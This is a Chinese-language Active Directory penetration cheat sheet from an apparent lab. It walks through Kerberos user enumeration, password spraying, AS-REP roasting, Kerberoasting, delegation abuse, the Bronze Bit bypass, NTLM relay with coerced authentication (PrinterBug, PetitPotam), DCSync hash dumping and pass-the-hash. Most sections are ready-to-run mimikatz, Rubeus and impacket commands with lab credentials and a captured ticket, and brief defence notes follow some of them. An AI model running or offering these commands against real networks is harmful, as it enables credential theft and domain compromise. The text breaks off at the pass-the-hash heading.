域内渗透手法
域内用户名枚举
在Kerberos协议认证的AS-REQ阶段,请求包cname对应的值是用户名。
在
-
• 用户存在且启用
-
• 用户存在但禁用
-
• 用户不存在
时 AS-REQ包各不相同,可以利用这一点 ,对目标域进行域内用户名枚举。
三种状态的错误代码分别为:
KRB5DC_ERR_PREAUTH_REQUIRED 需要额外的预认证(用户存在)
KRB5DC_ERR_CLIENT_REVOKED 客户端凭证已被吊销(禁用 )
KRB5DC_ERR_C_PRINCIPAL_UNKNOWN 在Kerberos数据库中找不到客户端(不存在)
域内用户名枚举工具
Kerbrute
kerbrute_windows_amd64.exe userenum --dc 192.168.52.138 -d god.org user.txt
参数含义
-
• userenum:用户枚举模式
-
• -dc:指定域控ip
-
• d:指定域名
-
• user.txt:用户名字典文件,用户名可不加域名后缀
pyKerbrute
# TCP模式
proxychains -q python2 EnumADUser.py 192.168.52.138 god.org ../kerbrute/user.txt tcp
# UDP模式
proxychains -q python2 EnumADUser.py 192.168.52.138 god.org ../kerbrute/user.txt udp
MSF模块
use auxiliary/gather/kerberos_enumusers
set rhosts 192.168.52.138
set domain god.org
set user_file /mnt/d/tools/script/Intranet/recon/kerbrute/user.txt
run
域内用户名枚举攻击防御
流量层面:可检测同一IP在短时间内是否发送了大量的AS-REQ包来判断
日志层面:并不会产生任何时间日志,因此日志层面不太好监测
域内密码喷洒
当用户名存在时,在密码正确和密码错误两种情况下,AS-REP的返回包不一样。
密码喷洒是固定密码去爆破用户名,枚举用户名后进行域内密码喷洒
域内密码喷洒工具
Kerbrute
kerbrute_windows_amd64.exe passwordspray --dc 192.168.52.138 -d god.org user.txt P@ss1234
kerbrute_windows_amd64.exe bruteuser --dc 192.168.52.138 -d god.org pass.txt administrator
参数含义
-
• passwordspray:用户枚举模式
-
• -dc:指定域控ip
-
• d:指定域名
-
• user.txt:用户名字典文件,用户名可不加域名后缀
CrackMapExec
proxychains -q crackmapexec smb 192.168.52.1/24 -u user.txt -p pass.txt --continue-on-success
DomainPasswordSpray.ps1
Set-ExecutionPolicy Unrestricted
Import-Module .DomainPasswordSpray.ps1
Invoke-DomainPasswordSpray -Password 123.com
MSF
use auxiliary/scanner/smb/smb_login
set rhost 192.168.52.0/24
set smbdomain god.org
set Pass_FILE script/Intranet/recon/kerbrute/pass.txt
set USER_FILE script/Intranet/recon/kerbrute/user.txt
run
域内密码喷洒防御
流量层面:可检测同一IP在短时间内是否发送了大量的AS-REQ包来判断
日志层面:当口令爆破成功后会产生事件ID为4768且结果代码为0x0的审核成功的Kerberos身份验证服务事件日志
AS-REP Roasting
是一种对用户账户进行离线爆破的攻击方式。但是在攻击方式使用比较受限,因为其需要用户账户设置“不要求kerberos预身份认证”选项,而该选项默认是没有勾选的。
kerberos预身份认证发生在Kerberos身份验证的第一阶段,它的主要作用是防止密码离线爆破。
关闭了预身份认证后,攻击者可以向域控88端口请求票据,此时域控不会进行任何验证就将TGT和Login Session Key返回。如果字典足够强大,就可以爆破出用户的明文密码。
AS-REP Roasting攻击过程
前提条件
-
• 域用户勾选“不要求kerberos预身份认证”选项
-
• 需要一台可与KDC 88端口进行通信的主机
-
1. 获取Hash
(1) Rubeus
Rubeus.exe asreproast /format:john /outfile:hash.txt
(2) ASPEPRoast.ps1
Import-Module .ASPEPRoast.ps1
Invoke-ASPEPRoast | select -ExpandProperty Hash
(3) 非域内机器
Adfind.exe -h 10.10.10.10:389 -u xuanhack -up p@ss1234 -f "useraccountcontrol:1.2.840.113556.1.4.803:=4194304" -dn
python3 GetNPUsers.py -dc-ip 10.10.10.10 -usersfile user.txt -format john xuan.com/
-
1. 爆破Hash
john --wordlist=/opt/pass.txt hash.txt
hashcat -m 18200 hash.txt pass.txt --force
AS-REP Roasting攻击防御
-
• 取消勾选“不要求kerberos预身份认证”选项
-
• 日志 重点关注事件ID为4768且预身份验证为0的日志
Kerberoasting
拿到ST后可以爆破服务的Hash
Kerberoasting攻击过程
SPN的发现
-
1. RiskySPN
Import-Module .Find-PotentiallyCrackableAccounts.ps1;
Find-PotentiallyCrackableAccounts -FullData
-
1. GetUserSPNs
#VBS脚本的用法
cscript .GetUserSPNs.vbs
# PowerShell 脚本的用法
Import-Module .GetUserSPNs.ps1
-
1. PowerView.ps1
Import-Module .PowerView.ps1
Get-NetUser -SPN
请求服务票据
-
1. Impacket请求
#请求注册于用户下的所有SPN的服务票据,并以hashcat能破解的格式保存为hash.txt文件
python3 GetUserSPNs.py -request -dc-ip 192.168.41.10 hack.com/jack:Admin123 -outputfile hash.txt
#请求注册于指定用户jack下的SPN的服务票据,并以hashcat能破解的格式保存为hash2.txt文件
python3 GetUserSPNs.py -request -dc-ip 192.168.41.10 hack.com/jack:Admin123 -outputfile hash2.txt -request-user jack
-
1. Rubeus请求
#请求注册于用户下的所有SPN的服务票据,并以hashcat能破解的格式保存为hash.txt文件
Rubeus.exe kerberoast /format:hashcat /outfile:hash.txt
#请求注册于用户下的指定SPN的服务票据,并以john能破解的格式保存为hash2.txt文件
Rubeus.exe kerberoast /spn:SQLServer/DC.hack.com:1433/MSSQL /format:john /outfile:hash2.txt
-
1. mimikatz请求
#请求指定SPN的服务票据
kerberos::ask /target:SQLServer/DC.hack.com:1433/MSSQL
导出服务票据
-
1. 查看内存中的票据
#直接在cmd窗口执行
Klist
#在mimikatz下面执行
Kerberos::list
-
1. 使用mimikatz导出票据
mimikatz.exe "kerberos::list /export" "exit"
-
1. 使用Empire导出票据
Import-Module .Invoke-Kerberoast.ps1;
Invoke-Kerberoast -outputFormat hashcat
破解离线服务票据
-
1. kerberoast
python3 tgsrepcrack.py pass.txt 1-40a10000-Administrator@SQLSever~DC.hack.com~1433~MSSQL-HACK.COM.kirbi
-
1. hashcat
hashcat -m 13100 hash.txt pass.txt --force
Kerberoasting攻击防御
-
• 确保服务账户和密码为强密码
-
• 对域内服务账户权限进行限制
-
• 关注日志事件ID为4769的日志
委派
委派是一种域内应用模式,是指将域内用户账户的权限委派给服务账号,服务账号因此能以用户的身份在域内展开活动(请求新的服务等)
-
• 在域中只有主机账户和服务账户才有委派属性
-
• 主机账户就是活动目录Computers中的计算机,也可以成为机器账户。
-
• 服务账户就是域内用户账户的一种类型,是将服务运行起来并加入域时所用到的账户。
委派的分类
-
• 非约束性委派
-
• 约束性委派
-
• 基于资源的约束性委派
非约束性委派
域委派是一种应用模式,指的是将域内用户的权限委派给服务账号,使得服务账号能以用户的权限在域内展开活动。简单来介绍就是用户A访问服务B,但是访问过程中需要访问服务C,于是B就使用A提供的TGT委派访问C。
对于非约束性委派,服务账户可以获取被委派用户的TGT,并将TGT缓存到LSASS进程中,从而服务账户可以使用该TGT模拟该用户访问任意服务。
-
• 需要SeEnableDelegationPrivilege特权,该特权默认仅授予域管理员和企业管理员
-
• 域控默认配置了非约束性委派
约束性委派
Widnows Server 2003 之后微软引入了非约束委派。对于约束性委派,服务账户只能获取该用户对指定服务的ST,从而只能模拟该用户访问特定的服务。
-
• 需要SeEnableDelegationPrivilege特权,该特权默认仅授予域管理员和企业管理员
约束性委派有两种:
-
1. 仅使用Kerberos,不能进行协议转换
-
2. 使用任何身份验证协议
S4U2self协议允许服务代表任意用户请求访问自身服务的ST服务票据
S4U2proxy协议允许服务在已取得ST服务票据下代表任意用户获取另一个服务的服务票据
约束委派限制了S4U2proxy协议的请求范围,使得配置了委派属性的服务只能模拟用户身份访问特定的其他服务。
配置了约束性委派的账户属性会有如下两个变化:
-
1. 账户userAccountControl属性会被设置为TRUSTED_TO_AUTH_FOR_DELEGATION标志位,值为16781312
-
2. 账户的msDS-AllowedToDelegateTo属性,添加允许委派的服务
基于资源的约束性委派
微软在Windows Server 2012 中新引入基于资源的约束性委派(Resource Based Constrained Delegation, RBCD),RBCD不需要通过具备SeEnableDelegationPrivilege权限的域管理员进行修改,而是将设置属性的权限给了服务资源本身
配置了RBCD的账户属性有如下变化:
-
• msDS-AllowedToActOnBehalfOfOtherIdentity属性指向委派账户
可以将基于资源的约束性委派理解为传统的约束性委派的反向过程。以 Service 1 和 Service 2 两个服务为例,传统的约束性委派需要在 Service 1 上设置 msDS-AllowedToDelegateTo 属性,以指定对 Service 2 上的哪一个服务进行委派。而在基于资源的约束性委派中,需要在 Service 2 上将 msDS-AllowedToActOnBehalfOfOtherIdentity 属性值设为 Service 1 的 SID,以允许 Service 1 对 Service 2 上的服务进行委派。
进行基于资源的委派攻击需要具备的条件:
-
• 拥有服务A的权限,这里只需要一个普通域账户权限即可,因为普通的域账户默认可以创建最多10个机器账户,机器账户可以作为服务账户使用。
-
• 拥有在服务B上配置允许服务A的基于资源的约束性委派的权限,即拥有服务B的msDS-AllowedToActOnBehalfOfOtherIdentity 属性的权限。机器账户自身和创建机器账户的用户即拥有该权限。
查询具有委派属性的账户
查询非约束性委派的主机或服务账户
Powershell脚本
Import-Module .PowerView.ps1;
#查询非约束委派的主机
Get-NetComputer -Unconstrained -Domain xuan.com
#查询非约束委派的服务账号
Get-NetUser -Unconstrained -Domain xuan.com | select name
Adfind
# 查找域中配置非约束委派的用户
AdFind.exe -b "DC=xuan,DC=com" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
# 查找域中配置非约束委派的主机
AdFind.exe -b "DC=xuan,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
Ldapsearch
# 查询域中配置了非约束性委派的主机
ldapsearch -x -H ldap://192.168.52.138:389 -D "[email protected]" -w P@ss1234 -b "DC=god,DC=org" "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" | grep dn
# 查询域中配置非约束性委派的服务账户
ldapsearch -x -H ldap://192.168.52.138:389 -D "[email protected]" -w P@ss1234 -b "DC=god,DC=org" "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" | grep dn
查询约束性委派的主机或服务账户
利用empire中的powerview
Import-Module .powerview.ps1;
#查询约束委派的主机
Get-DomainComputer -TrustedToAuth -Domain xuan.com | select name
#查询约束委派的账号
Get-DomainUser -TrustedToAuth -Domain hiro.com | select name
Adfind
#查找域中配置约束委派用户
AdFind.exe -b "DC=xuan,DC=com" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
#查找域中配置约束委派的主机
AdFind.exe -b "DC=xuan,DC=com" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
Ldapsearch
# 查询域中配置了约束性委派的主机,并可以看到被委派的SPN
ldapsearch -x -H ldap://192.168.52.138:389 -D "[email protected]" -w P@ss1234 -b "DC=god,DC=org" "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" | grep -e dn -e msDS-AllowedToDelegateTo
# 查询域中配置了约束性委派的服务账户,并可以看到被委派的SPN
ldapsearch -x -H ldap://192.168.52.138:389 -D "[email protected]" -w P@ss1234 -b "DC=god,DC=org" "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" | grep -e dn -e msDS-AllowedToDelegateTo
查询基于资源的约束性委派的主机或服务账户
Adfind
#查询域中配置了基于资源的约束性委派的主机
AdFind.exe -b "DC=god,DC=org" -f "(&(samAccountType=805306369)(msDS-AllowedToActOnBehalfOfOtherIdentity=*))" msDS-AllowedToActOnBehalfOfOtherIdentity
# 查询域中配置了基于资源的约束性委派的服务账户
AdFind.exe -b "DC=god,DC=org" -f "(&(samAccountType=805306368)(msDS-AllowedToActOnBehalfOfOtherIdentity=*))" msDS-AllowedToActOnBehalfOfOtherIdentity
Ldapsearch
# 查询域中配置基于资源的约束性委派的主机
ldapsearch -x -H ldap://192.168.52.138:389 -D "[email protected]" -w P@ss1234 -b "DC=god,DC=org" "(&(samAccountType=805306369)(msDS-AllowedToActOnBehalfOfOtherIdentity=*))" | grep dn
# 查询域中配置基于资源的约束性委派的服务账户
ldapsearch -x -H ldap://192.168.52.138:389 -D "[email protected]" -w P@ss1234 -b "DC=god,DC=org" "(&(samAccountType=805306368)(msDS-AllowedToActOnBehalfOfOtherIdentity=*))" | grep dn
查看某账户是否具有委派性
Import-Module .\powerview.ps1;
# 查看非约束性委派和约束性委派
Get-DomainUser 域用户名 -Properties useraccountcontrol,msds-allowedtodelegateto| fl
Get-DomainComputer 机器账户名 -Properties useraccountcontrol,msds-allowedtodelegateto| fl
# 查看基于资源的约束性委派
Get-DomainUser 域用户名 -Properties msDS-AllowedToActOnBehalfOfOtherIdentity
Get-DomainComputer 机器账户名 -Properties msDS-AllowedToActOnBehalfOfOtherIdentity
委派攻击实验
非约束性委派攻击
-
• 域控:AD(10.10.10.10)
-
• 域成员主机:WIN2008(10.10.10.20)
-
• 域成员主机:win10(10.10.10.40)
-
• 域:xuan.com
正常情况下在Win2008上访问域控,提示访问拒绝
(1)诱使域管理员访问机器
使用域管账户远程IPC连接win2008
net use \win2008.xuan.com /user:xuanadministrator 123.com
此时在主机win2008的lsass.exe内存中就会有与管理员administrator的TGT,运行mimikatz导出内存中的票据
mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" exit
可以看到生成了administrator@krbtgt票据
使用mimikatz将这个票据导入内存 成功访问域控
mimikatz.exe "kerberos::ptt [0;5cb1d][email protected]" exit
导入票据后可以成功访问域控
(2)结合打印机漏洞
上面的攻击手段需要域管理员手动连接配置了非约束委派的主机,才能从该主机上取得域管理员的TGT,实战中意义不大。
我们可以使用打印机服务漏洞强制域控连接配置了非约束性委派的主机
在win10上以管理员权限用Rubeus每隔一秒监听一次来自AD主机的票据
Rubeus.exe monitor /interval:1 /filteruser:AD$
然后再win10上使用打印机服务漏洞攻击域控AD,使强制会连认证win7主机
SpoolSample.exe AD win7-pc
可以看到Rubeus已经接收到AD的base64的TGT了
doIE0DCCBMygAwIBBaEDAgEWooID5jCCA+JhggPeMIID2qADAgEFoQobCFhVQU4uQ09Noh0wG6ADAgECoRQwEhsGa3JidGd0GwhY
VUFOLkNPTaOCA6YwggOioAMCARKhAwIBAqKCA5QEggOQvivaAM7TTAtboLm4BhfRZWisKPGRbnxkgk8/x3kQGY/SxQ+csmdwXZtg
ke9VTthE1pVKMaWPp76y3wMTfsGMDDVeG/HatSi50Rwdf+AV4R0hPtv5UlpV2emEy7ieHmBsNbsuGwKUz4YMBfhBfiR1VL0aocug
yTf4j9zzRW4HD2GdCF/HPtAS2hqLkKTONVsoQ+EWxyCPqNhfq/xRX6bpbTCq/pCVHU3spAiPAenOfzNfG5CPYaU6aBvK3xqI3L1B
USlVlOXFjxzX8vnn2KbYTTp2OByCFsCelFlI5A/ynzEWicRcyiczXQp29vUzEE9dSqzRetG83UBvuXQh5VOjIdJTJ8qPxG5vnzX9
cQh6qn2hsavKZhsO03XArY7evmIdknu+jmV0ZKEcCzIzqt+l7xwI9hs9+tIxP617KQNLmbIisBpFF+sO5qaFNvo7CKwXU1kdkpfs
RV4gUBZI+EohybWShPLU0GncDjsAlxSv16NSoBOUsu1Rp6KZ1hH9pRkjQgM8od0YrjZlAcPk/MeWTMSF7I7BENyCKdcxjyHG8pv0
p/beORBQcdsYswqjuokB0pLREfSQfyRN1GM9s/cSCHTu29JXHmil+f40/M45H95jgrgH125NdTaXzcBmCO32/EJqhR4URpzLJm+n
BUu8xC2fhpC0lMw3JC5PKTTb7lcvDKIZEXwjMbUYi4nuQBBhDT9LAo8YY+A/VH/WuXBwp34jv6+MVBZonsp7tkPpgXEMdHZ/CNwH
vTor4QF3jvdK8BW8EzNFs06ZhpGpsVgpM9m9wRyKLjq5wj3o1jy1G6YPY/g8cabZ+c8JTXGPuKYrb7CZv+ENAkuxhiifaM/RGkyv
5SY+SIms691wCq7WUSXTV1yVK2Orohw3/75uUdRrDX8npQhK/YJ4+ZHOKlvMnEsUCZ034o4N7Laly1oCODNEmW3cUgdxzsF1ngVd
3+/YavRMc4d9OuJBcMd4kP2F3V4OGeYT/M1bDaTghSfxBdJWQNIvaznLiIhlrdSResr/9Pvy0tnKCbFDbcNiR/+W4GGZGkJFqiry
8An+uK9V0kt35wJ1ut/QsxgQJx5CF++PnM6IuQI3d9Mz7HIRcOZg2rJox/UDP6lDSirw/i4/8j75US9WC6bfhmE4/wtXFZSjo0wR
9a85fb0EtQjp+EjhbE8CUH6Y+Pl+vNglS+UDRHl/pVUMQa1JvEhelmcSaRkro4HVMIHSoAMCAQCigcoEgcd9gcQwgcGggb4wgbsw
gbigKzApoAMCARKhIgQgYc63z35t2ry1aT+N0YA2cc3+BQswBPppL6txbF0RKmWhChsIWFVBTi5DT02iEDAOoAMCAQGhBzAFGwNB
RCSjBwMFAGChAAClERgPMjAyMzA1MzAwMDI3MTVaphEYDzIwMjMwNTMwMTAyNzE0WqcRGA8yMDIzMDYwNjAwMjcxNFqoChsIWFVB
Ti5DT02pHTAboAMCAQKhFDASGwZrcmJ0Z3QbCFhVQU4uQ09N
使用Rubeus导入base64格式的TGT,之后就可以导出域内所有用户的HASH了
Rubeus.exe ptt /ticket:doIE0DCCBMygAwIBBaEDAgEWooID5jCCA+JhggPeMIID2qADAgEFoQobCFhVQU4uQ09Noh0wG6ADAgECoRQwEhsGa3JidGd0GwhYVUFOLkNPTaOCA6YwggOioAMCARKhAwIBAqKCA5QEggOQvivaAM7TTAtboLm4BhfRZWisKPGRbnxkgk8/x3kQGY/SxQ+csmdwXZtgke9VTthE1pVKMaWPp76y3wMTfsGMDDVeG/HatSi50Rwdf+AV4R0hPtv5UlpV2emEy7ieHmBsNbsuGwKUz4YMBfhBfiR1VL0aocugyTf4j9zzRW4HD2GdCF/HPtAS2hqLkKTONVsoQ+EWxyCPqNhfq/xRX6bpbTCq/pCVHU3spAiPAenOfzNfG5CPYaU6aBvK3xqI3L1BUSlVlOXFjxzX8vnn2KbYTTp2OByCFsCelFlI5A/ynzEWicRcyiczXQp29vUzEE9dSqzRetG83UBvuXQh5VOjIdJTJ8qPxG5vnzX9cQh6qn2hsavKZhsO03XArY7evmIdknu+jmV0ZKEcCzIzqt+l7xwI9hs9+tIxP617KQNLmbIisBpFF+sO5qaFNvo7CKwXU1kdkpfsRV4gUBZI+EohybWShPLU0GncDjsAlxSv16NSoBOUsu1Rp6KZ1hH9pRkjQgM8od0YrjZlAcPk/MeWTMSF7I7BENyCKdcxjyHG8pv0p/beORBQcdsYswqjuokB0pLREfSQfyRN1GM9s/cSCHTu29JXHmil+f40/M45H95jgrgH125NdTaXzcBmCO32/EJqhR4URpzLJm+nBUu8xC2fhpC0lMw3JC5PKTTb7lcvDKIZEXwjMbUYi4nuQBBhDT9LAo8YY+A/VH/WuXBwp34jv6+MVBZonsp7tkPpgXEMdHZ/CNwHvTor4QF3jvdK8BW8EzNFs06ZhpGpsVgpM9m9wRyKLjq5wj3o1jy1G6YPY/g8cabZ+c8JTXGPuKYrb7CZv+ENAkuxhiifaM/RGkyv5SY+SIms691wCq7WUSXTV1yVK2Orohw3/75uUdRrDX8npQhK/YJ4+ZHOKlvMnEsUCZ034o4N7Laly1oCODNEmW3cUgdxzsF1ngVd3+/YavRMc4d9OuJBcMd4kP2F3V4OGeYT/M1bDaTghSfxBdJWQNIvaznLiIhlrdSResr/9Pvy0tnKCbFDbcNiR/+W4GGZGkJFqiry8An+uK9V0kt35wJ1ut/QsxgQJx5CF++PnM6IuQI3d9Mz7HIRcOZg2rJox/UDP6lDSirw/i4/8j75US9WC6bfhmE4/wtXFZSjo0wR9a85fb0EtQjp+EjhbE8CUH6Y+Pl+vNglS+UDRHl/pVUMQa1JvEhelmcSaRkro4HVMIHSoAMCAQCigcoEgcd9gcQwgcGggb4wgbswgbigKzApoAMCARKhIgQgYc63z35t2ry1aT+N0YA2cc3+BQswBPppL6txbF0RKmWhChsIWFVBTi5DT02iEDAOoAMCAQGhBzAFGwNBRCSjBwMFAGChAAClERgPMjAyMzA1MzAwMDI3MTVaphEYDzIwMjMwNTMwMTAyNzE0WqcRGA8yMDIzMDYwNjAwMjcxNFqoChsIWFVBTi5DT02pHTAboAMCAQKhFDASGwZrcmJ0Z3QbCFhVQU4uQ09N
mimikatz.exe "lsadump::dcsync /domain:xuan.com /all /csv"
ps: 域控机器账户不能用于登录,但是具有DCSync权限,可以用于导出域内用户的HASH
约束性委派攻击
在Windows系统中,普通用户的属性中没有委派(Delegation)这个选项卡,只有服务账号、主机账号才有,也就是当前用户账户下存在相对应的服务,比如mssql,http等等服务
在域中只有服务账户才能有委派功能,所以先把用户xuan设置为服务账号。
setspn -U -A https/golden xuan
setspn -l xuan
AdFind.exe -b "DC=xuan,DC=com" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" msds-allowedtodelegateto
在攻击机上hosts文件中进行hosts绑定
10.10.10.10 AD.xuan.com
# 提供账户和密码请求指定SPN服务的票据
python3 getST.py -dc-ip 10.10.10.10 xuan.com/xuan:123.com -spn cifs/ad.xuan.com -impersonate administrator
# 导入票据
export KRB5CCNAME=xuan.ccache
# 访问该服务
python3 smbexec.py -k -no-pass xuan.com
基于资源的约束委派攻击
-
• 域控:AD(10.10.10.10)
-
• 域成员主机:WIN2008(10.10.10.20)
-
• 域:xuan.com
假设现在获得了域内主机win2008的普通域用户权限,但是该域用户不在win2008的管理员组中,因此无法执行mimikkatz等高权限操作。可以利用基于资源的约束性委派进行本地提权 获取win2008主机的system权限
需要先查询将机器加入域的账号 https://github.com/Kevin-Robertson/Sharpmad
Sharpmad.exe MAQ -Action GetCreator
WIN-2008 和 WIN-2012 这两台机器是由普通域用户 test 加入域的,test 用户也不在本地管理员组中
创建机器账户
addcomputer.exe -computer-name 'machine$' -computer-pass '123.com' -dc-ip 10.10.10.10 'xuan.com/liu:123.com' -method SAMR -debug
# 提供账户和密码请求指定SPN服务的票据
python3 getST.py -dc-ip 10.10.10.10 xuan.com/machine$:123.com -spn cifs/win2008.xuan.com -impersonate administrator
# 导入票据
export KRB5CCNAME=xuan.ccache
# 访问该服务
python3 smbexec.py -k -no-pass xuan.com -k win2008.xuan.com
委派攻击防御
-
• 高权限的用户设置为不能委派
-
• 主机账户需设置委派时,只能设置为约束性委派
-
• server2012R2 及更高版本创建了受保护的用户组,该组内的用户不允许被委派,将需要保护的服务账户加入该组即可
Kerberos Bronze Bit漏洞
漏洞背景
该漏洞启用的攻击是Kerberos委派引起的其它已知攻击的扩展。该漏洞绕过了现有攻击路径的以下两个缓解措施,提高了它们的有效性和通用功能性。
-
• 绕过了Protecd Users组内用户和设置了“敏感账号,不能被委派”的安全措施,导致了这些用户也可以被委派。
-
• 绕过在设置约束性委派时勾选“仅使用Kerberos”选项,既无法进行协议转换。
漏洞原理
我们首先来看一下KDC在约束性委派和基于资源的约束性委派校验过程中对于通过S4u2Self 请求的ST如何进行验证,验证流程如图所示,KDC首先会检查通过S4u2Self请求的ST的forwardable标志位:
1)如果该为0,也就是不可转发,则会在验证是否是RBCD委派
-
• 如果不是RBCD委派,则不返回票据
-
• 如果是RBCD委派,则再检查被委派的用户是否设置了不能被委派
-
• 如果设置了,则不返回票据
-
• 如果没设置,则返回票据
2) 如果该位为1,也就是可转发,则会再验证两者之间是否有委派配置。
-
• 如果有委派配置,则返回票据
-
• 如果无委派配置,则不返回票据
漏洞复现
约束性委派攻击绕过
注册一个服务账户,并对该服务账户配置约束性委派
net user hack Admin123 /add /domain 创建一个普通用户
setspn -U -A priv/test hack 注册为服务账号
配置好服务账户hack对cifs/DC.hack.com具有约束性委派,但是由于选择了“仅使用Kerberos”选项,因此不能进行协议转换。
当我们使用常规的委派攻击命令时,提示如下的错误信息。
[-] Kerberos SessionError:KDC_ERR_BADOPTION(KDC cannot accommodate requested option)[-] Probably SPN is not allowed to delegate by user test or inital TGT not forwardable
但当我们加上 -force-forwardable 参数绕过时,则成功获取到票据
#以Administrator身份请求一张访问cifs/DC.hack.com的票据,加上 -force-forwardable 绕过参数
python3 getST.py -dc-ip 192.168.41.10 hack.com/hack:Admin123 -spn cifs/DC.hack.com -impersonate Administrator -force-forwardable
#导入该票据
export KRB5CCNAME=Administrator.ccache
#访问域控
python3 smbexec.py -no-pass -k DC.hack.com
基于资源的约束性委派攻击绕过
首先设置域管理员Administrator为“敏感账户,不能被委派”,然后再域控上配置用户hack到krbtgt服务具有基于资源的约束性委派,命令如下:
Set-ADUser krbtgt -PrincipalsAllowedToDelegateToAccount hack
Get-ADUser krbtgt -Properties PrincipalsAllowedToDelegateToAccount
当我们使用常规的委派攻击命令时,提示如下的错误信息。
[-] Kerberos SessionError:KDC_ERR_BADOPTION(KDC cannot accommodate requested option)[-] Probably SPN is not allowed to delegate by user test or inital TGT not forwardable
但当我们加上 -force-forwardable 参数时,则成功获取到票据
#以Administrator 身份请求一张访问Krbtgt服务的票据,加上-force-forwardable 绕过参数
python3 getST.py -dc-ip 192.168.41.10 -spn krbtgt -impersonate administrator hack.com/hack:Admin123 -force-forwardable
#导入该票据
export KRB5CCNAME=administrator.ccache
#以Administrator身份访问域控DC.hack.com
python3 smbexec.py -no-pass -k [email protected] -dc-ip 192.168.41.10
漏洞预防和修复
微软已经发布了该漏洞的补丁程序,可以直接通过Windows自动更新解决此问题。
NTLM Relay
NTLM Relay攻击发生在NTLM认证的第三步,在Response消息中存在Net-NTLM Hash,当攻击者获取到Net-NTLM Hash后,可以重放Net-NTLM Hash进行中间人攻击。
捕获Net-NTLM Hash
使用Responder工具监听目标服务器发来的NTLM请求,
sudo responder -I eth1 -wd
LLMNR和NBNS协议
Windows解析主机名的顺序为:
1)查看本地hosts文件
2)查看DNS缓存或者DNS服务器中进行查找
3)利用LLMNR(链路本地多播名称解析)和NetBIOS名称服务进行查找
当在目标主机上请求不存在的名称abcdefg,此时Responder对目标主机进行LLMNR/NBNS毒化,并要求其输入凭据认证,然后就可以抓到目标机器的Net-NTML Hash了
sudo responder -I eth1 -wd
\abcdefg
打印机漏洞
域内任意用户访问目标机器的打印服务,printerbug.py脚本会触发SpoolService Bug,强制目标主机AD通过MS-RPRNRPC接口对攻击者进行NTLM身份认证。
python3 printerbug.py xuan/hack:p@[email protected] 10.10.10.5
PetitPotam
python3 PetitPotam.py -d xuan.com -u hack -p p@ss1234 10.10.10.5 10.10.10.10
重放Net-NTLM Hash
获取到目标机器的Net-NTLM Hash 后 有两种利用方法:
-
• 使用hashcat破解Net-NTLM Hash
-
• 中继Net-NTLM Hash
中继到SMB
中继到SMB服务,可以控制该服务器执行任意命令
-
1. 工作组
python3 ntlmrelayx.py -t smb://10.10.10.10 -smb3support --gpotato --gpotato-startup test.txt
攻击完成后会在目标机器启动目录下生成一个test.txt文件
-
1. 域环境
在域环境中,普通域用户默认可以登录除域控以外的其他所有机器,因此将域用户的Net-NTLM Hash中继到域内的其他机器。
1)impacket下的smbrelayx.py 该脚本接收域用户的Net-NTLM Hash,然后中继到域内其他机器执行指定命令
sudo python3 smbrelayx.py -h 10.10.10.30 -c hostname
2)impacket下的ntlmrelayx.py 该脚本接收域用户的Net-NTLM Hash,然后中继到域内其他机器执行指定命令
python3.11 ntlmrelayx.py -t smb://10.10.10.30 -c hostname -smb2support
python3.8 我会报错
3)Responder下的MultiRelay.py脚本 通过ALL参数获得一个稳定的shell,还有抓密码等功能 -t参数用于指定要中继的机器。
sudo python3 MultiRelay.py -t 10.10.10.30 -u ALL
中继到HTTP
很多HTTP服务也支持NTLM认证,因此可以中继到HTTP,HTTP的默认策略是不签名的。
Exchange认证
python2 ntlmRelayToEWS.py -t https://10.10.10.10/EWS/exchange.asmx -r getFolder -f inbox -v
可以导出邮件
中继到LDAP协议
-
• HTTP中继到LDAP是不要求进行签名的,可以直接中继
-
• SMB协议中继到LDAP是要求进行签名的,不能直接进行中继
NTLM Relay攻击防御
LDAP强制开启签名,就无法中继到LDAP进行高危操作了
滥用DCSync
在域环境中,不同域控制器(DC)之间,每 15 分钟都会有一次域数据的同步。当一个域控制器(DC 1)想从其他域控制器(DC 2)获取数据时,DC 1 会向 DC 2 发起一个 GetNCChanges 请求,该请求的数据包括需要同步的数据。如果需要同步的数据比较多,则会重复上述过程。DCSync 就是利用的这个原理,通过 Directory Replication Service(DRS) 服务的 GetNCChanges 接口向域控发起数据同步请求。
只读域控不可以进行域同步
DCSync的工作原理
-
• 在网络中发现域控
-
• 利用目录复制服务的GetNCChanges接口向域控发起数据同步请求
修改DCSync ACL
具有DCSync权限的用户
-
• Administrators组内的用户
-
• Domain Admins组内的用户
-
• Enterprise Admins组内的用户
-
• 域控制器的计算机帐户
使用Adfind查询域内具备DCSync权限的用户
修改DCSync的ACL
DCSync攻击
当拿到了具有DCSync权限的用户,就能利用DCSync功能从指定域控获得域内所有用户的凭据信息了
Impacket
# 获取用户krbtgt的hash
proxychains -q impacket-secretsdump god.org/administrator:P@ss1234@192.168.52.138 -just-dc-user krbtgt
# 获取所有用户的hash
proxychains -q impacket-secretsdump god.org/administrator:P@ss1234@192.168.52.138 -just-dc
MSF
如果是system权限必须要降权为管理员用户
load kiwi
load incognito
list_tokens -u
# 降权
impersonate_token "GODAdministrator"
dcsync krbtgt
dcsync_ntlm krbtgt
mimikatz
mimikatz.exe "lsadump::dcsync /domain:god.org /user:krbtgt"
mimikatz.exe "lsadump::dcsync /domain:god.org /all /csv"
Powershell脚本
脚本下载不成功 失败
利用DCSync获取明文凭据
用户在勾选了 使用可逆加密存储密码 属性,用户在次更改密码会显示其明文密码
DCSync攻击防御
只允许白名单内的域控IP请求数据同步
PTH
PTH是内网横向移动的一种方式,当获取到了用户密码的NTLM hash而没有解出明文时,可以利用hash进行PTH。
对内网其他机器进行Hash碰撞,碰撞到使用相同密码的机器,然后通过445和135端口横向移动到使用该密码的其他机器上。
本地账户和域账户PTH的区别
